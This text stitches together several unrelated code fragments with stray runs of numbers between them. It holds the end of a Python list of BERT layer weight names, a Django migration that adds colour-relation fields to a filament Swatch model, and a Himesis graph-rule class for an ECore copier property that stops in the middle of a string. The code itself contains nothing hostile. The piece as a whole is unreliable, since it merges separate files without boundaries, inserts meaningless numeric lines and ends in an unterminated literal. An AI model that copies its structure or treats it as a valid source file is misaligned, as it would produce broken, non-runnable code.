'bert.bert.bert_encoder.layers.14.attention.attention.query_layer.weight', 'bert.bert.bert_encoder.layers.14.attention.attention.key_layer.weight', 'bert.bert.bert_encoder.layers.14.attention.attention.value_layer.weight', 'bert.bert.bert_encoder.layers.14.attention.output.dense.weight', 'bert.bert.bert_encoder.layers.14.intermediate.weight', 'bert.bert.bert_encoder.layers.14.output.dense.weight', 'bert.bert.bert_encoder.layers.15.attention.attention.query_layer.weight', 'bert.bert.bert_encoder.layers.15.attention.attention.key_layer.weight', 'bert.bert.bert_encoder.layers.15.attention.attention.value_layer.weight', 'bert.bert.bert_encoder.layers.15.attention.output.dense.weight', 'bert.bert.bert_encoder.layers.15.intermediate.weight', 'bert.bert.bert_encoder.layers.15.output.dense.weight', 'bert.bert.bert_encoder.layers.16.attention.attention.query_layer.weight', 'bert.bert.bert_encoder.layers.16.attention.attention.key_layer.weight', 'bert.bert.bert_encoder.layers.16.attention.attention.value_layer.weight', 'bert.bert.bert_encoder.layers.16.attention.output.dense.weight', 'bert.bert.bert_encoder.layers.16.intermediate.weight', 'bert.bert.bert_encoder.layers.16.output.dense.weight', 'bert.bert.bert_encoder.layers.17.attention.attention.query_layer.weight', 'bert.bert.bert_encoder.layers.17.attention.attention.key_layer.weight', 'bert.bert.bert_encoder.layers.17.attention.attention.value_layer.weight', 'bert.bert.bert_encoder.layers.17.attention.output.dense.weight', 'bert.bert.bert_encoder.layers.17.intermediate.weight', 'bert.bert.bert_encoder.layers.17.output.dense.weight', 'bert.bert.bert_encoder.layers.18.attention.attention.query_layer.weight', 'bert.bert.bert_encoder.layers.18.attention.attention.key_layer.weight', 'bert.bert.bert_encoder.layers.18.attention.attention.value_layer.weight', 'bert.bert.bert_encoder.layers.18.attention.output.dense.weight', 'bert.bert.bert_encoder.layers.18.intermediate.weight', 'bert.bert.bert_encoder.layers.18.output.dense.weight', 'bert.bert.bert_encoder.layers.19.attention.attention.query_layer.weight', 'bert.bert.bert_encoder.layers.19.attention.attention.key_layer.weight', 'bert.bert.bert_encoder.layers.19.attention.attention.value_layer.weight', 'bert.bert.bert_encoder.layers.19.attention.output.dense.weight', 'bert.bert.bert_encoder.layers.19.intermediate.weight', 'bert.bert.bert_encoder.layers.19.output.dense.weight', 'bert.bert.bert_encoder.layers.20.attention.attention.query_layer.weight', 'bert.bert.bert_encoder.layers.20.attention.attention.key_layer.weight', 'bert.bert.bert_encoder.layers.20.attention.attention.value_layer.weight', 'bert.bert.bert_encoder.layers.20.attention.output.dense.weight', 'bert.bert.bert_encoder.layers.20.intermediate.weight', 'bert.bert.bert_encoder.layers.20.output.dense.weight', 'bert.bert.bert_encoder.layers.21.attention.attention.query_layer.weight', 'bert.bert.bert_encoder.layers.21.attention.attention.key_layer.weight', 'bert.bert.bert_encoder.layers.21.attention.attention.value_layer.weight', 'bert.bert.bert_encoder.layers.21.attention.output.dense.weight', 'bert.bert.bert_encoder.layers.21.intermediate.weight', 'bert.bert.bert_encoder.layers.21.output.dense.weight', 'bert.bert.bert_encoder.layers.22.attention.attention.query_layer.weight', 'bert.bert.bert_encoder.layers.22.attention.attention.key_layer.weight', 'bert.bert.bert_encoder.layers.22.attention.attention.value_layer.weight', 'bert.bert.bert_encoder.layers.22.attention.output.dense.weight', 'bert.bert.bert_encoder.layers.22.intermediate.weight', 'bert.bert.bert_encoder.layers.22.output.dense.weight', 'bert.bert.bert_encoder.layers.23.attention.attention.query_layer.weight', 'bert.bert.bert_encoder.layers.23.attention.attention.key_layer.weight', 'bert.bert.bert_encoder.layers.23.attention.attention.value_layer.weight', 'bert.bert.bert_encoder.layers.23.attention.output.dense.weight', 'bert.bert.bert_encoder.layers.23.intermediate.weight', 'bert.bert.bert_encoder.layers.23.output.dense.weight', 'bert.bert.dense.weight', 'bert.cls1.dense.weight', ]
90.079949
120
0.641816
8,425
70,983
5.27003
0.01638
0.192613
0.144054
0.225946
0.975225
0.971126
0.948086
0.85509
0.738604
0.398784
0
0.026466
0.222842
70,983
787
121
90.194409
0.778392
0.010749
0
0.279373
0
0
0.729405
0.685336
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
7fda488c97b7234a0b68250d707b64747cc35bf1
5,364
py
Python
filamentcolors/migrations/0011_auto_20190515_0146.py
itsthejoker/filamentcolors.xyz
10cdc3b573093f4122ec3300d4fcc1c72771659d
[ "MIT" ]
12
2019-04-29T01:36:25.000Z
2022-03-24T18:10:47.000Z
filamentcolors/migrations/0011_auto_20190515_0146.py
itsthejoker/filamentcolors.xyz
10cdc3b573093f4122ec3300d4fcc1c72771659d
[ "MIT" ]
16
2020-02-07T15:21:29.000Z
2022-03-24T02:59:45.000Z
filamentcolors/migrations/0011_auto_20190515_0146.py
itsthejoker/filamentcolors.xyz
10cdc3b573093f4122ec3300d4fcc1c72771659d
[ "MIT" ]
1
2020-10-06T02:55:13.000Z
2020-10-06T02:55:13.000Z
# Generated by Django 2.1.4 on 2019-05-15 01:46 import datetime from django.db import migrations, models import django.db.models.deletion from django.utils.timezone import utc class Migration(migrations.Migration): dependencies = [ ("filamentcolors", "0010_genericfile"), ] operations = [ migrations.AddField( model_name="swatch", name="analogous_1", field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name="analogous_one_swatch", to="filamentcolors.Swatch", ), ), migrations.AddField( model_name="swatch", name="analogous_2", field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name="analogous_two_swatch", to="filamentcolors.Swatch", ), ), migrations.AddField( model_name="swatch", name="complement", field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name="complement_swatch", to="filamentcolors.Swatch", ), ), migrations.AddField( model_name="swatch", name="last_cache_update", field=models.DateTimeField( default=datetime.datetime(1969, 1, 1, 0, 0, tzinfo=utc) ), ), migrations.AddField( model_name="swatch", name="split_complement_1", field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name="split_complement_one_swatch", to="filamentcolors.Swatch", ), ), migrations.AddField( model_name="swatch", name="split_complement_2", field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name="split_complement_two_swatch", to="filamentcolors.Swatch", ), ), migrations.AddField( model_name="swatch", name="square_1", field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name="square_one_swatch", to="filamentcolors.Swatch", ), ), migrations.AddField( model_name="swatch", name="square_2", field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name="square_two_swatch", to="filamentcolors.Swatch", ), ), migrations.AddField( model_name="swatch", name="square_3", field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name="square_three_swatch", to="filamentcolors.Swatch", ), ), migrations.AddField( model_name="swatch", name="tetradic_1", field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name="tetradic_one_swatch", to="filamentcolors.Swatch", ), ), migrations.AddField( model_name="swatch", name="tetradic_2", field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name="tetradic_two_swatch", to="filamentcolors.Swatch", ), ), migrations.AddField( model_name="swatch", name="tetradic_3", field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name="tetradic_three_swatch", to="filamentcolors.Swatch", ), ), migrations.AddField( model_name="swatch", name="triadic_1", field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name="triadic_one_swatch", to="filamentcolors.Swatch", ), ), migrations.AddField( model_name="swatch", name="triadic_2", field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name="triadic_two_swatch", to="filamentcolors.Swatch", ), ), ]
32.11976
71
0.497576
454
5,364
5.693833
0.132159
0.046422
0.075822
0.119149
0.874275
0.862282
0.862282
0.841006
0.815087
0.815087
0
0.012207
0.404362
5,364
166
72
32.313253
0.79687
0.008389
0
0.75625
1
0
0.151025
0.06545
0
0
0
0
0
1
0
false
0
0.025
0
0.04375
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
3d13b28400917e3e87a5346df0153350807a502d
58,994
py
Python
ECore_Copier_MM/properties/positive/himesis/HProperty1_completeLHS.py
levilucio/SyVOLT
7526ec794d21565e3efcc925a7b08ae8db27d46a
[ "MIT" ]
3
2017-06-02T19:26:27.000Z
2021-06-14T04:25:45.000Z
ECore_Copier_MM/properties/positive/himesis/HProperty1_completeLHS.py
levilucio/SyVOLT
7526ec794d21565e3efcc925a7b08ae8db27d46a
[ "MIT" ]
8
2016-08-24T07:04:07.000Z
2017-05-26T16:22:47.000Z
ECore_Copier_MM/properties/positive/himesis/HProperty1_completeLHS.py
levilucio/SyVOLT
7526ec794d21565e3efcc925a7b08ae8db27d46a
[ "MIT" ]
1
2019-10-31T06:00:23.000Z
2019-10-31T06:00:23.000Z
from core.himesis import Himesis, HimesisPreConditionPatternLHS class HProperty1_completeLHS(HimesisPreConditionPatternLHS): def __init__(self): """ Creates the himesis graph representing the AToM3 model HProperty1_completeLHS. """ # Flag this instance as compiled now self.is_compiled = True super(HProperty1_completeLHS, self).__init__(name='HProperty1_completeLHS', num_nodes=30, edges=[]) # Add the edges self.add_edges([[2, 10], [0, 10], [4, 11], [6, 11], [3, 12], [1, 12], [5, 13], [7, 13], [8, 0], [9, 1], [26, 2], [29, 3], [27, 4], [28, 5], [21, 14], [14, 18], [19, 15], [15, 20], [25, 16], [16, 22], [23, 17], [17, 24], [18, 29], [29, 19], [20, 26], [26, 21], [22, 28], [28, 23], [24, 27], [27, 25], [8, 6], [9, 7]]) # Set the graph attributes self["mm__"] = ['MT_pre__ECoreMM', 'MoTifRule'] self["MT_constraint__"] = """#=============================================================================== # This code is executed after the nodes in the LHS have been matched. # You can access a matched node labelled n by: PreNode('n'). # To access attribute x of node n, use: PreNode('n')['x']. # The given constraint must evaluate to a boolean expression: # returning True enables the rule to be applied, # returning False forbids the rule from being applied. #=============================================================================== return True """ self["name"] = """""" self["GUID__"] = 801606189099778884 # Set the node attributes self.vs[0]["MT_subtypeMatching__"] = False self.vs[0]["MT_label__"] = """41""" self.vs[0]["mm__"] = """MT_pre__leftExpr""" self.vs[0]["MT_subtypes__"] = [] self.vs[0]["MT_dirty__"] = False self.vs[0]["GUID__"] = 4346512857117841307 self.vs[1]["MT_subtypeMatching__"] = False self.vs[1]["MT_label__"] = """43""" self.vs[1]["mm__"] = """MT_pre__leftExpr""" self.vs[1]["MT_subtypes__"] = [] self.vs[1]["MT_dirty__"] = False self.vs[1]["GUID__"] = 1262697301921029562 self.vs[2]["MT_subtypeMatching__"] = False self.vs[2]["MT_label__"] = """35""" self.vs[2]["mm__"] = """MT_pre__hasAttr_S""" self.vs[2]["MT_subtypes__"] = [] self.vs[2]["MT_dirty__"] = False self.vs[2]["GUID__"] = 8825193245363644048 self.vs[3]["MT_subtypeMatching__"] = False self.vs[3]["MT_label__"] = """37""" self.vs[3]["mm__"] = """MT_pre__hasAttr_S""" self.vs[3]["MT_subtypes__"] = [] self.vs[3]["MT_dirty__"] = False self.vs[3]["GUID__"] = 3567458032007070038 self.vs[4]["MT_subtypeMatching__"] = False self.vs[4]["MT_label__"] = """36""" self.vs[4]["mm__"] = """MT_pre__hasAttr_T""" self.vs[4]["MT_subtypes__"] = [] self.vs[4]["MT_dirty__"] = False self.vs[4]["GUID__"] = 511947236801528983 self.vs[5]["MT_subtypeMatching__"] = False self.vs[5]["MT_label__"] = """38""" self.vs[5]["mm__"] = """MT_pre__hasAttr_T""" self.vs[5]["MT_subtypes__"] = [] self.vs[5]["MT_dirty__"] = False self.vs[5]["GUID__"] = 8185665320327240032 self.vs[6]["MT_subtypeMatching__"] = False self.vs[6]["MT_label__"] = """42""" self.vs[6]["mm__"] = """MT_pre__rightExpr""" self.vs[6]["MT_subtypes__"] = [] self.vs[6]["MT_dirty__"] = False self.vs[6]["GUID__"] = 3037602709412195019 self.vs[7]["MT_subtypeMatching__"] = False self.vs[7]["MT_label__"] = """44""" self.vs[7]["mm__"] = """MT_pre__rightExpr""" self.vs[7]["MT_subtypes__"] = [] self.vs[7]["MT_dirty__"] = False self.vs[7]["GUID__"] = 5397614117889345792 self.vs[8]["MT_subtypeMatching__"] = False self.vs[8]["MT_label__"] = """39""" self.vs[8]["mm__"] = """MT_pre__Equation""" self.vs[8]["MT_subtypes__"] = [] self.vs[8]["MT_dirty__"] = False self.vs[8]["GUID__"] = 7660334270892429527 self.vs[9]["MT_subtypeMatching__"] = False self.vs[9]["MT_label__"] = """40""" self.vs[9]["mm__"] = """MT_pre__Equation""" self.vs[9]["MT_subtypes__"] = [] self.vs[9]["MT_dirty__"] = False self.vs[9]["GUID__"] = 3525722455859074475 self.vs[10]["MT_subtypeMatching__"] = False self.vs[10]["MT_label__"] = """31""" self.vs[10]["mm__"] = """MT_pre__Attribute""" self.vs[10]["MT_subtypes__"] = [] self.vs[10]["MT_dirty__"] = False self.vs[10]["MT_pre__name"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return attr_value == "name" """ self.vs[10]["GUID__"] = 8283395226547872776 self.vs[11]["MT_subtypeMatching__"] = False self.vs[11]["MT_label__"] = """32""" self.vs[11]["mm__"] = """MT_pre__Attribute""" self.vs[11]["MT_subtypes__"] = [] self.vs[11]["MT_dirty__"] = False self.vs[11]["MT_pre__name"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return attr_value == "name" """ self.vs[11]["GUID__"] = 7524636539006106626 self.vs[12]["MT_subtypeMatching__"] = False self.vs[12]["MT_label__"] = """33""" self.vs[12]["mm__"] = """MT_pre__Attribute""" self.vs[12]["MT_subtypes__"] = [] self.vs[12]["MT_dirty__"] = False self.vs[12]["MT_pre__name"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return attr_value == "name" """ self.vs[12]["GUID__"] = 5176722934552515373 self.vs[13]["MT_subtypeMatching__"] = False self.vs[13]["MT_label__"] = """34""" self.vs[13]["mm__"] = """MT_pre__Attribute""" self.vs[13]["MT_subtypes__"] = [] self.vs[13]["MT_dirty__"] = False self.vs[13]["MT_pre__name"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return attr_value == "name" """ self.vs[13]["GUID__"] = 4437818407762343509 self.vs[14]["MT_subtypeMatching__"] = False self.vs[14]["MT_pre__classtype"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True """ self.vs[14]["MT_pre__cardinality"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True """ self.vs[14]["MT_label__"] = """9""" self.vs[14]["mm__"] = """MT_pre__EReference""" self.vs[14]["MT_subtypes__"] = [] self.vs[14]["MT_dirty__"] = False self.vs[14]["MT_pre__name"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True """ self.vs[14]["GUID__"] = 2693175917609353875 self.vs[15]["MT_subtypeMatching__"] = False self.vs[15]["MT_pre__classtype"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True """ self.vs[15]["MT_pre__cardinality"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True """ self.vs[15]["MT_label__"] = """10""" self.vs[15]["mm__"] = """MT_pre__EReference""" self.vs[15]["MT_subtypes__"] = [] self.vs[15]["MT_dirty__"] = False self.vs[15]["MT_pre__name"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True """ self.vs[15]["GUID__"] = 2905218581673745466 self.vs[16]["MT_subtypeMatching__"] = False self.vs[16]["MT_pre__classtype"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True """ self.vs[16]["MT_pre__cardinality"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True """ self.vs[16]["MT_label__"] = """14""" self.vs[16]["mm__"] = """MT_pre__EReference""" self.vs[16]["MT_subtypes__"] = [] self.vs[16]["MT_dirty__"] = False self.vs[16]["MT_pre__name"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True """ self.vs[16]["GUID__"] = 3611131697147876472 self.vs[17]["MT_subtypeMatching__"] = False self.vs[17]["MT_pre__classtype"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True """ self.vs[17]["MT_pre__cardinality"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True """ self.vs[17]["MT_label__"] = """15""" self.vs[17]["mm__"] = """MT_pre__EReference""" self.vs[17]["MT_subtypes__"] = [] self.vs[17]["MT_dirty__"] = False self.vs[17]["MT_pre__name"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True """ self.vs[17]["GUID__"] = 6499355596976622676 self.vs[18]["MT_subtypeMatching__"] = False self.vs[18]["MT_pre__associationType"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return attr_value == "eType" """ self.vs[18]["MT_label__"] = """23""" self.vs[18]["mm__"] = """MT_pre__directLink_S""" self.vs[18]["MT_subtypes__"] = [] self.vs[18]["MT_dirty__"] = False self.vs[18]["GUID__"] = 8550532857148945144 self.vs[19]["MT_subtypeMatching__"] = False self.vs[19]["MT_pre__associationType"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return attr_value == "eStructuralFeatures" """ self.vs[19]["MT_label__"] = """24""" self.vs[19]["mm__"] = """MT_pre__directLink_S""" self.vs[19]["MT_subtypes__"] = [] self.vs[19]["MT_dirty__"] = False self.vs[19]["GUID__"] = 5175278742904358198 self.vs[20]["MT_subtypeMatching__"] = False self.vs[20]["MT_pre__associationType"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return attr_value == "eType" """ self.vs[20]["MT_label__"] = """25""" self.vs[20]["mm__"] = """MT_pre__directLink_S""" self.vs[20]["MT_subtypes__"] = [] self.vs[20]["MT_dirty__"] = False self.vs[20]["GUID__"] = 3643393340091794789 self.vs[21]["MT_subtypeMatching__"] = False self.vs[21]["MT_pre__associationType"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return attr_value == "eStructuralFeatures" """ self.vs[21]["MT_label__"] = """26""" self.vs[21]["mm__"] = """MT_pre__directLink_S""" self.vs[21]["MT_subtypes__"] = [] self.vs[21]["MT_dirty__"] = False self.vs[21]["GUID__"] = 7747525902030995397 self.vs[22]["MT_subtypeMatching__"] = False self.vs[22]["MT_pre__associationType"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return attr_value == "eType" """ self.vs[22]["MT_label__"] = """27""" self.vs[22]["mm__"] = """MT_pre__directLink_T""" self.vs[22]["MT_subtypes__"] = [] self.vs[22]["MT_dirty__"] = False self.vs[22]["GUID__"] = 2834023054651095740 self.vs[23]["MT_subtypeMatching__"] = False self.vs[23]["MT_pre__associationType"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return attr_value == "eStructuralFeatures" """ self.vs[23]["MT_label__"] = """28""" self.vs[23]["mm__"] = """MT_pre__directLink_T""" self.vs[23]["MT_subtypes__"] = [] self.vs[23]["MT_dirty__"] = False self.vs[23]["GUID__"] = 4980392764876811936 self.vs[24]["MT_subtypeMatching__"] = False self.vs[24]["MT_pre__associationType"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return attr_value == "eType" """ self.vs[24]["MT_label__"] = """29""" self.vs[24]["mm__"] = """MT_pre__directLink_T""" self.vs[24]["MT_subtypes__"] = [] self.vs[24]["MT_dirty__"] = False self.vs[24]["GUID__"] = 6057556478478521018 self.vs[25]["MT_subtypeMatching__"] = False self.vs[25]["MT_pre__associationType"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return attr_value == "eStructuralFeatures" """ self.vs[25]["MT_label__"] = """30""" self.vs[25]["mm__"] = """MT_pre__directLink_T""" self.vs[25]["MT_subtypes__"] = [] self.vs[25]["MT_dirty__"] = False self.vs[25]["GUID__"] = 6746556060192828565 self.vs[26]["MT_subtypeMatching__"] = False self.vs[26]["MT_pre__classtype"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True """ self.vs[26]["MT_pre__cardinality"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True """ self.vs[26]["MT_label__"] = """1""" self.vs[26]["mm__"] = """MT_pre__EClass""" self.vs[26]["MT_subtypes__"] = [] self.vs[26]["MT_dirty__"] = False self.vs[26]["MT_pre__name"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True """ self.vs[26]["GUID__"] = 3536705631670119140 self.vs[27]["MT_subtypeMatching__"] = False self.vs[27]["MT_pre__classtype"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True """ self.vs[27]["MT_pre__cardinality"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True """ self.vs[27]["MT_label__"] = """12""" self.vs[27]["mm__"] = """MT_pre__EClass""" self.vs[27]["MT_subtypes__"] = [] self.vs[27]["MT_dirty__"] = False self.vs[27]["MT_pre__name"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True """ self.vs[27]["GUID__"] = 6377271625473857928 self.vs[28]["MT_subtypeMatching__"] = False self.vs[28]["MT_pre__classtype"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True """ self.vs[28]["MT_pre__cardinality"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True """ self.vs[28]["MT_label__"] = """13""" self.vs[28]["mm__"] = """MT_pre__EClass""" self.vs[28]["MT_subtypes__"] = [] self.vs[28]["MT_dirty__"] = False self.vs[28]["MT_pre__name"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True """ self.vs[28]["GUID__"] = 5158694338243644697 self.vs[29]["MT_subtypeMatching__"] = False self.vs[29]["MT_pre__classtype"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True """ self.vs[29]["MT_pre__cardinality"] = """ #=============================================================================== # This code is executed when evaluating if a node shall be matched by this rule. # You can access the value of the current node's attribute value by: attr_value. # You can access any attribute x of this node by: this['x']. # If the constraint relies on attribute values from other nodes, # use the LHS/NAC constraint instead. # The given constraint must evaluate to a boolean expression. #=============================================================================== return True """ self.vs[29]["MT_label__"] = """22""" self.vs[29]["mm__"] = """MT_pre__EClass""" self.vs[29]["MT_subtypes__"] = [] self.vs[29]["MT_dirty__"] = False self.vs[29]["MT_pre__name"] = """ 